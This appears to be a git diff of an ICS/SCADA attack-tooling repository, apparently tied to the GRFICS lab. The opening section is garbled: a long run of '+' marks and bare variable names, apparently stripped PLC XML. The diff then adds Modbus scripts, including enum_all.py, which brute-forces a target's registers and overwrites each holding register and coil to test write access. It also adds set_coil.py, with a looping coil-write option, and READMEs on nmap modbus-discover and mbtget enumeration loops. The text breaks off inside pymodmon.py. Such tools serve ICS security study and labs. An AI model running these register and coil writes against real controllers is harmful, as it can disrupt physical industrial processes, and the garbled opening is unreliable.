+ + + cycle_time + + + + + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pressure_max + + + + + + + pressure_min + + + + + + + pressure + + + + + + + + + + + + + pressure_real + + + + + + + curr_sp + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + flow_max + + + + + + + flow_min + + + + + + + + + + + + + curr_sp_real + + + + + + + sp_update + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 150.0 + + + + + + + 50.0 + + + + + + + 0.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 500.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp_real + + + + + + + product_sp_real + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + product_sp + + + + + + + curr_sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + input_uint + + + + + + + 2 + + + + + + + + + + + + + + + output_int + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + real_in + + + + + + + 100.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 65535.0 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + uint_out + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + liquid_level + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + level_real + + + + + + + curr_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_max + + + + + + + + + + + + + pos_real + + + + + + + pos_min + + + + + + + level_real + + + + + + + level_sp + + + + + + + level_max + + + + + + + level_min + + + + + + + + + + + + + sp_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + sp_real + + + + + + + level_k + + + + + + + + + + + + + pos_update_real + + + + + + + pos_real + + + + + + + pos_update_real + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + pos_min + + + + + + + pos_max + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + new_pos + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + cycle_time + + + + + + + level_ti + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/README.md b/README.md index aec1ac1..42bcf3d 100644 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ SCADA =============== -SCADA/ICS/PLC scripts \ No newline at end of file +SCADA/ICS/PLC scripts diff --git a/modbus/GRFICS_0-99_Modbus.xls b/modbus/GRFICS_0-99_Modbus.xls new file mode 100644 index 0000000..fbe02b4 --- /dev/null +++ b/modbus/GRFICS_0-99_Modbus.xls Binary files differ diff --git a/modbus/README.md b/modbus/README.md new file mode 100644 index 0000000..f584733 --- /dev/null +++ b/modbus/README.md @@ -0,0 +1,107 @@ +MODBUS +=============== + +Modbus scripts + +## in this folder +- `enum_all.py`, script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file. Modified registers written back to origional values! +- `monitor_multiple.py`, monitor several modbus addresses with a configurable interval and pretty colours +- `set_coil.py`, set a specific coil value, loop option available + +## recommendations: +- `https://github.com/sourceperl/mbtget`, Simple perl script for make some modbus transaction from the command line. + +## Enumerate SCADA Modbus slave ids (sids) and collects their device information. +when talking to a RTU you supply a SID to tell it which PLC you want to interact with. When talking directly to a PLC generally 0x01 will be the default. +``` +nmap --script modbus-discover.nse --script-args='modbus-discover.aggressive=true' -p 502 + +``` + +## mbtget +``` +read coils: +mbtget -u 1 -p 502 -r1 -a 0 -n 125 [ip] + +read registers +mbtget -u 1 -p 502 -r3 -a 0 -n 125 [ip] + +enumerate coils: +for i in {0..1000}; do mbtget -r1 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/coils.txt; done + +enumerate registers: +for i in {0..1000}; do mbtget -r3 -a $i -n 1 | grep -v -e exception -e values | tee -a /tmp/holding-regs.txt; done + +polling values over time (assume 5 is changing): +for i in {0..1000}; do echo -n `date +"%Y-%m-%d %T"`; mbtget -r3 -a 4 -n 1 | grep -v values | tee -a reg-4.txt; sleep 1; done +``` + +## enum_all.py +``` +$> python enum_all.py -r 0 3 -i 127.0.0.1 +****************************** +Reading Coils Status - 0x01 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 677.19it/s] +Writing Coil Status - 0x05 +****************************** +Reading Holding Registers - 0x03 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 25.89it/s] +Writing Holding Status - 0x06 +100%|████████████████████████████████████| 2/2 [00:00<00:00, 246.03it/s] +****************************** +Reading Discrete Input - 0x02 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 795.93it/s] +****************************** +Reading Input Registers - 0x04 +100%|████████████████████████████████████| 3/3 [00:00<00:00, 766.69it/s] +****************************** +Check the output Excel File - Modbus_Output.xls + +``` + +## enum_all.py +``` +$> python monitor_muiltiple.py -h +usage: monitor_muiltiple.py [-h] [-co [COIL [COIL ...]]] + [-ho [HOLD [HOLD ...]]] + [-di [DISCRETE [DISCRETE ...]]] + [-in [INPUT [INPUT ...]]] -i IPADDRESS [-p PORT] + [-t TIMEOUT] +optional arguments: + -h, --help show this help message and exit + -co [COIL [COIL ...]] list of addresses + -ho [HOLD [HOLD ...]] list of addresses + -di [DISCRETE [DISCRETE ...]] list of addresses + -in [INPUT [INPUT ...]] list of addresses + -i IPADDRESS Input IP Address + -p PORT Port Number + -t TIMEOUT request every X seconds + +$> python monitor_muiltiple.py -co 0 1 3-6 8 -ho 0-6 -i 127.0.0.1 +### watch list ### +coils: (7)[0, 1, 3, 4, 5, 6, 8] +hold reg: (7)[0, 1, 2, 3, 4, 5, 6] +Total = 14 +------------------ +[coils:[0][1][0][0][0][0][0]][hold regs:[ 13][ 666][ ][ ][ ][ ][ ]] + +``` +## set_coil.py +``` +$> python set_coil.py -h +usage: set_coil.py [-h] -i IPADDRESS [-p PORT] -c COIL [-tr] [-l] [-t TIMEOUT] + +optional arguments: + -h, --help show this help message and exit + -i IPADDRESS, --ipaddress IPADDRESS + Input IP Address + -p PORT, --port PORT Port Number + -c COIL, --coil COIL Coil Number + -tr, --true True if set + -l, --loop loop on + -t TIMEOUT, --timeout TIMEOUT + request every X seconds + +$> python set_coil.py -i 192.168.95.2 -c 5 -tr + +``` \ No newline at end of file diff --git a/modbus/enum_all.py b/modbus/enum_all.py new file mode 100644 index 0000000..72f63d9 --- /dev/null +++ b/modbus/enum_all.py @@ -0,0 +1,183 @@ +#!/usr/bin/env python + +""" +File: enum_all.py +Desc: brute-force all the registers of a TCP MODBUS Slave + +based off of: https://github.com/nallamuthu/ModBus +fixed so works, made so sets values back to what were to limit interference/overwriting values +""" +__author__ = '0xRoM' + +from pyModbusTCP.client import ModbusClient +from xlwt import Workbook +import sys +import argparse +from tqdm import tqdm + +#Function to write single Holding Register +def write_single_hold_regiser(ip_addr,port,valid_list,permission_list): + write_confirm_list=[] + write_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=10) + for i in tqdm(valid_list): + data_orig[i]=client.read_holding_registers(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + + data=client.write_single_register(i,43981) # HEX(ABCD) == int(43981) + data=client.read_holding_registers(i,1) + #permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if 43981==data[0]: + client.write_single_register(i,orig_values_list[i][0]) + write_confirm_list.append(i) + write_confirm_data.append(data[0]) + permission_list[i] = "Read/Write" + client.close() + return write_confirm_list,write_confirm_data,permission_list + +#Function to write single coil +def write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list): + write_coil_confirm_list=[] + write_coil_confirm_data=[] + data_orig={} + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=20) + for i in coil_valid_list: + data_orig[i] = client.read_coils(i,1) + orig_values = data_orig.values() + orig_values_list = list(orig_values) + #print("Regiser: "+str(i)+" => Value: "+str(orig_values_list[i])) + if orig_values_list[i][0] == True: + client.write_single_coil(i,False) + else: + client.write_single_coil(i,True) + data=client.read_coils(i,1) + #coil_permission_list.append("Read") + #print("Regiser: "+str(i)+" => Value: "+str(data)) + if data: + if data_orig[i]!=data[0]: + client.write_single_coil(i,orig_values_list[i][0]) + write_coil_confirm_list.append(i) + write_coil_confirm_data.append(data[0]) + coil_permission_list[i] = "Read/Write" + + client.close() + return write_coil_confirm_list,write_coil_confirm_data,coil_permission_list + +#Function to read all the registers based on the parameter received +def read_valid_registers(ip_addr,port,reg, lower, upper, timeout): + valid_list=[] + data_list=[] + permission_list=[] + client=ModbusClient(host=ip_addr,port=port,auto_open=True,auto_close=True,timeout=timeout) + for i in tqdm(range(lower,upper)): + if reg == "hold": + data=client.read_holding_registers(i,1) + if reg == "input": + data=client.read_input_registers(i,1) + if reg == "discrete": + data=client.read_discrete_inputs(i,1) + if reg == "coil": + data=client.read_coils(i,1) + if data: + valid_list.append(i) + data_list.append(data[0]) + permission_list.append("Read") +#Write the result to Excel File + client.close() + return valid_list,data_list,permission_list + + + +def write_to_excel(wb,register,valid_list,data_list,permission_list,reg_value): + sheet=wb.add_sheet(register) + sheet.write(0,0,"Register") + sheet.write(0,1,"Permission") + sheet.write(0,2,"Data") + for i in range(len(valid_list)): + sheet.write(i+1,0,valid_list[i]) + sheet.write(i+1,1,permission_list[i]) + sheet.write(i+1,2,data_list[i]) + wb.save("Modbus_Output.xls") + return wb + +# +def print_details(valid_list,data_list,operation): + if valid_list: + print("******************************") + print(operation+" - Valid Registers: \n"+str(valid_list)) + print("******************************") + print(operation+" - Valid Registers with Non-Zero Values") + print("******************************") + for i in range(len(valid_list)): + if data_list[i]: + print("Register :"+str(valid_list[i])+" => Value: "+str(data_list[i])) + print("******************************") + else: + print("******************************") + print("No Valid Register Found") + print("******************************") + +#Parse the input parameters +my_parser = argparse.ArgumentParser(description='Pass the input IP Address') +my_parser.add_argument('-i','--ipaddress', action='store', type=str,required=True, help='Input IP Address') +my_parser.add_argument('-p','--port', action='store', type=int,required=False, help='Port Number', default=502) +my_parser.add_argument('-r','--range', action='store', type=int,required=False, default=[1-500],dest='range',help='Define the range. Default is 1-500',nargs=2) +my_parser.add_argument('-t','--timeout', action='store', type=int,required=False, help='Timeout', default=10) +args = my_parser.parse_args() +ip_addr=args.ipaddress +port=args.port + + +#Create workbook to save the result +wb=Workbook() +#Coils - valid and Data [Read and Write] +print("******************************") +print("Reading Coils Status - 0x01") +coil_valid_list,coil_data_list,coil_permission_list=read_valid_registers(ip_addr,port,"coil", args.range[0], args.range[1], args.timeout) #Function Code - 0x01 + +if coil_data_list: + print("Writing Coil Status - 0x05") + write_coil_valid_list,write_coil_data_list,coil_permission_list=write_single_coil_regiser(ip_addr,port,coil_valid_list,coil_permission_list) #Function Code - 0x05 + +else: + print("No valid Register Found to do Write Operation") +#print_details(coil_valid_list,coil_data_list,"Read") +wb=write_to_excel(wb,"Coil",coil_valid_list,coil_data_list,coil_permission_list,0) + + + +#Holding Registers - valid and Data [Read and Write] +print("******************************") +print("Reading Holding Registers - 0x03") +hold_valid_list,hold_data_list,hold_permission_list=read_valid_registers(ip_addr,port,"hold", args.range[0], args.range[1], args.timeout) #Function Code - 0x03 +#print_details(hold_valid_list,hold_data_list,"Read") +if hold_data_list: + print("Writing Holding Status - 0x06") + write_hold_valid_list,write_hold_data_list,hold_permission_list=write_single_hold_regiser(ip_addr,port,hold_valid_list,hold_permission_list) #Function Code - 0x06 +else: + print("No valid Register Found to do Write Operation") +wb=write_to_excel(wb,"Holding_Register",hold_valid_list,hold_data_list,hold_permission_list,40000) + + + +#Discrete Input - valid and Data [Read Only] +print("******************************") +print("Reading Discrete Input - 0x02") +discrete_valid_list,discrete_data_list,discrete_permission_list=read_valid_registers(ip_addr,port,"discrete", args.range[0], args.range[1], args.timeout) #Function Code - 0x02 +#print_details(discrete_valid_list,discrete_data_list,"Read") +wb=write_to_excel(wb,"Discrete",discrete_valid_list,discrete_data_list,discrete_permission_list,10000) + + + +#Read Input Registers - valid and Data [Read Only] +print("******************************") +print("Reading Input Registers - 0x04") +input_valid_list,input_data_list,input_permission_list=read_valid_registers(ip_addr,port,"input", args.range[0], args.range[1], args.timeout) +#print_details(input_valid_list,input_data_list,"Read") +wb=write_to_excel(wb,"Input_Register",input_valid_list,input_data_list,input_permission_list,30000) +print("******************************") +print("Check the output Excel File - Modbus_Output.xls") \ No newline at end of file diff --git a/modbus/misc/ModbusPal.jar b/modbus/misc/ModbusPal.jar new file mode 100755 index 0000000..5bf73e4 --- /dev/null +++ b/modbus/misc/ModbusPal.jar Binary files differ diff --git a/modbus/misc/README.md b/modbus/misc/README.md new file mode 100644 index 0000000..1384f9f --- /dev/null +++ b/modbus/misc/README.md @@ -0,0 +1,106 @@ +- `dump_odd.py`, dump all data that doesn't have the default value +- `live_monitor.rb`, Allows you to scan, at a regular time, all Modbus registries of a device. +- `mocli.py`, A Command Line Interface for pymodbus +- `read_all_holding_registers.py`, used to scan and get values from holding registers on a TCP Modbus Slave; +- `write_all_holding_registers.py`, used to write a specific value to one or multiple holding registers of a TCP Modbus Slave; +- `read_register.py`, used to get values from various types of addresses on a TCP Modbus Slave (Holding Register, Discrete Input, Input Register) +- `pymodmon.py`, monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. +- `pymodmon_3.py`, updated version of above script for python 3 +- `register_scanner.py`, Script take IP as input and brute force against all the registers. Identified valid registered will be exported to excel file +- `modbuspal.jar`, PC-based Modbus simulator. Its goal is to reproduce a realistic environment, with many slaves and animated register values. + +## live_monitor.rb +``` +Usage : ruby live_monitor.rb IP_ADDRESS TIME_IN_SECONDS +``` + +## live_monitor.rb +``` +Usage : python register_scanner.py -i ip_addr +``` + +## read_all_holding_registers.py +``` +usage: read_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] + ip + +Read all holding registries from a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 +``` + +## write_all_holding_registers.py +``` +usage: write_all_holding_registers.py [-h] [-p PORT] [-u UID] [-sa START] + [-ea END] [-v VALUE] + ip + +Write all holding registries on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the writer. Defaults to 1 + -ea END, --end-address END + Ending Address for the writer. Defaults to 65535 + -v VALUE, --value VALUE + Value that will be written. Defaults to 7777 +``` + +## read_register.py +``` +usage: read_register.py [-h] [-p PORT] [-u UID] [-sa START] [-ea END] + [-t TYPE] + ip + +Read specific addresses on a TCP MODBUS Slave + +positional arguments: + ip IP address of the slave + +optional arguments: + -h, --help show this help message and exit + -p PORT, --port PORT Modbus Port. Defaults to 502 + -u UID, --uid UID Modbus Unit ID. Defaults to 1 + -sa START, --start-address START + Starting Address for the scanner. Defaults to 1 + -ea END, --end-address END + Ending Address for the scanner. Defaults to 65535 + -t TYPE, --type TYPE Type of Modbus address to read. Values can be 'h' for + Holding, 'd' for Discrete Inputs or 'i' for Input + Registers. Defaults to 'h' + +``` + +# PyModMon +Python Modbus Monitor + +This is a Python skript that acts as a Modbus slave. +It can be used e.g. for reading data from newer solar inverters made by SMA. + +It has the ability to monitor several modbus addresses with a configurable interval and can also write the received data to a csv file. + +The logged data can then be used with other programs for analysing or plotting. + +Dependencies: +* Python 2.7 +* Python package docopt +* Python package pymodbus (and dependencies) + +pymodmon_3.py is the updated version for Python 3 (tested with Python 3.7). No additional functionality was added. diff --git a/modbus/misc/dump_odd.py b/modbus/misc/dump_odd.py new file mode 100644 index 0000000..176d630 --- /dev/null +++ b/modbus/misc/dump_odd.py @@ -0,0 +1,27 @@ +import sys +from pymodbus.client.sync import ModbusTcpClient +#from https://ctftime.org/writeup/31455 + +client = ModbusTcpClient(sys.argv[1]) + +for unit in range(32): + for address, register in enumerate(client.read_holding_registers(0, 99, unit=unit).registers): + if register != 0: + print(f"hr {unit} {address} {register}") + +for unit in range(32): + for address, register in enumerate(client.read_input_registers(0, 99, unit=unit).registers): + if register != 1: + print(f"ir {unit} {address} {register}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_coils(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != False: + print(f"c {unit} {address_base + address_index} {coil}") + +for unit in range(32): + for address_base in range(0, 2999, 256): + for address_index, coil in enumerate(client.read_discrete_inputs(address_base, min(256, 2999 - address_base), unit=unit).bits[:min(256, 2999 - address_base)]): + if coil != True: + print(f"di {unit} {address_base + address_index} {coil}") diff --git a/modbus/misc/live_monitor.rb b/modbus/misc/live_monitor.rb new file mode 100644 index 0000000..8420ebc --- /dev/null +++ b/modbus/misc/live_monitor.rb @@ -0,0 +1,69 @@ +#!/usr/bin/env ruby + +require 'rmodbus' + +# Stuff to print text in colour +class String + def red; "\033[31m#{self}\033[0m" end + def green; "\033[32m#{self}\033[0m" end + def brown; "\033[33m#{self}\033[0m" end + def blue; "\033[34m#{self}\033[0m" end + def bg_gray; "\033[47m#{self}\033[0m" end +end + +@results = Array.new() +@target = ARGV[0] +delay = ARGV[1] + +# Send Modbus requests +def modbus_request(ip, port, start_address, stop_address) + cl = ModBus::TCPClient.new(ip, port) + slave = cl.with_slave(1) + unless start_address == 0 + start_address = start_address + 1 + end + test = slave.holding_registers[start_address..stop_address] + return test +end + +# grab all registers values until 65 500 ("à peu près") +def grab_all_registers + registers = Array.new() + for i in 0..654 + result = modbus_request(@target, 502, (i*100), ((i+1)*100)) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + end + result = modbus_request(@target, 502, 65500, 65535) + j = 0 + result.each do |yolo| + registers.push(yolo) + j = j + 1 + end + + return registers +end + +trap("INT") { + puts ""; puts "[+] Live monitoring stopped".green; exit +} + +round = 0 +while(1) + puts '[+]'.green + ' Reading registers (#' + round.to_s + ')' + @results.push(grab_all_registers) + unless round == 0 + for b in 0..@results[0].length + if !(@results[0][b] == @results[1][b]) + puts "[!] Register ##{b} changed from #{@results[0][b]} to #{@results[1][b]} !!! ".red.bg_gray + end + end + @results.delete_at(0) + end + round = round + 1 + puts "[+] Waiting #{delay}s ..." + sleep(delay.to_i) +end diff --git a/modbus/misc/mocli.py b/modbus/misc/mocli.py new file mode 100644 index 0000000..36de113 --- /dev/null +++ b/modbus/misc/mocli.py @@ -0,0 +1,164 @@ +#!/usr/bin/env python + +import argparse +import functools + +''' +Command Line Wrapper around pymodbus + +Known Issues: + Writing Integer Values: if the first value in a --values input is a negative + value, the parser interprets it incorrectly as an option flag. This can be + avoided if the space is removed between the -v or --values flag and the + values that follow. +''' + + + +def stringBool(val): + uval = val.upper() + if uval in ['1','T','TRUE']: + return True + elif uval in ['0','F','FALSE']: + return False + else: + return None + +def arrayStringBools(valarr): + result = [stringBool(item) for item in valarr] + return result + +# String to Int works as expected except for when value is out of signed or +# unsigned Modbus Word (2 Bytes) range. In this case it will return None. If a +# negative number is provided, it is converted to the equivalent unsigned Word +# value silently. +def stringToInt(val): + intval = int(val) + if intval < -0xFFFF or intval > 0xFFFF: + return None + elif intval < 0: + return 0x10000 + intval + else: + return intval + + +def arrayStringInts(valarr): + return [stringToInt(item) for item in valarr] + +parser = argparse.ArgumentParser(prog='ReadHTcp') + +parser.add_argument('method', choices=['tcp','udp','rtu','serial'], default='tcp') +parser.add_argument('-a','--address',type=int) +parser.add_argument('-c','--count',type=int,default=1) +parser.add_argument('-v','--values',type=lambda s: [item for item in list(map(lambda t: t.strip(),s.split(',')))]) + +parser.add_argument('-i','--ip',default='127.0.0.1') +parser.add_argument('-p','--port',default=502,type=int) +parser.add_argument('-u','--unit',type=int,default='0') +# Arguments for Serial Clients +# timeout is in seconds +parser.add_argument('-t', '-timeout',type=int,default=3) +parser.add_argument('--stopbits',choices=[0,1,2],default=1) +parser.add_argument('--bytesize',choices=[5,6,7,8],default=8) +parser.add_argument('--parity',choices=['N','E','O']) +parser.add_argument('--baudrate',type=int,default=9600) + +# Datastore Arguments +parser.add_argument('--zeromode',action='store_true') + +parser.add_argument('-r','--repeat',type=int,default=1) +parser.add_argument('-f','--function',choices=['rcs','wcs','wc','rds','rhs','whs','wh','ris','rwh','mwh','read-coils','write-coils','write_coil','read-discretes','read-holdings','write-holdings','write-holding','read-inputs','read-write-registers','mask-write-register']) + +parser.add_argument('-d','--debug',action='store_true') + +kargs, uargs = parser.parse_known_args() + +duargs = {} + +for s in uargs: + key,val = s.split('=') + duargs[key]=val + +if kargs.debug: + print('dict',kargs.__dict__) + print('debug', kargs.debug) + print('Known: ', kargs) + print('Unknown: ',uargs) + print('Unknown Dict: ',duargs) + quit() + +client = None + +try: + if kargs.method == 'tcp': + from pymodbus.client.sync import ModbusTcpClient + + client = ModbusTcpClient(kargs.ip,port=kargs.port,unit_id=kargs.unit) + + elif kargs.method == 'rtu': + from pymodbus.client.sync import ModbusSeriaClient + + client = ModbusRtuClient(kargs.method, port=kargs.port, stopbits=kargs.stopbits,bytesize=kargs.bytesize,parity=kargs.parity,baudrate=kargs.baudrate,timeout=kargs.timeout) + + if client != None: + display_prefix = '' + function_result = None + write_result = None + for x in range(kargs.repeat): + if kargs.function in ['rcs','read-coils']: + read = client.read_coils(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Coils' + + elif kargs.function in ['rds','read-discretes']: + read = client.read_discrete_inputs(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.bits + display_prefix = 'Read Discretes' + + elif kargs.function in ['ris','read-inputs']: + read = client.read_input_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result=read.registers + display_prefix = 'Read Input Registers' + + elif kargs.function in ['rhs','read-holding']: + read = client.read_holding_registers(kargs.address,kargs.count,unit=kargs.unit) + function_result = read.registers + display_prefix = 'Read Holding' + + elif kargs.function in ['wc','write-coil']: + result = client.write_coil(kargs.address,stringBool(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Coil' + + elif kargs.function in ['wcs','write-coils']: + coil_values = arrayStringBools(kargs.values) + result = client.write_coils(kargs.address,coil_values,unit=kargs.unit) + write_result = result + display_prefix = 'Write Coils' + + elif kargs.function in ['wh','write-holding']: + result = client.write_register(kargs.address,stringToInt(kargs.values[0]),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Register' + + elif kargs.function in ['whs','write-holdings']: +# print('-------> Values: ' +str(arrayStringInts(kargs.values))) + result = client.write_registers(kargs.address,arrayStringInts(kargs.values),unit=kargs.unit) + write_result = result + display_prefix = 'Write Holding Registers' + + else: + print('Function "%s" is not yet implemented in this wrapper. Exiting' % kargs.function) + quit() + +# Display results + if function_result != None: + print(display_prefix + ' #%s' % x,functools.reduce(lambda x,y: str(x)+ ',' + str(y),function_result[:kargs.count])) + + if write_result != None: + print(display_prefix + ' #%s' % x, write_result) + +finally: + if client != None: + client.close() + diff --git a/modbus/misc/pymodmon.py b/modbus/misc/pymodmon.py new file mode 100644 index 0000000..9a5e464 --- /dev/null +++ b/modbus/misc/pymodmon.py @@ -0,0 +1,976 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 2.7, pymodbus, docopt +# +# Date created: 2016-05-04 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print ('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print ('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + 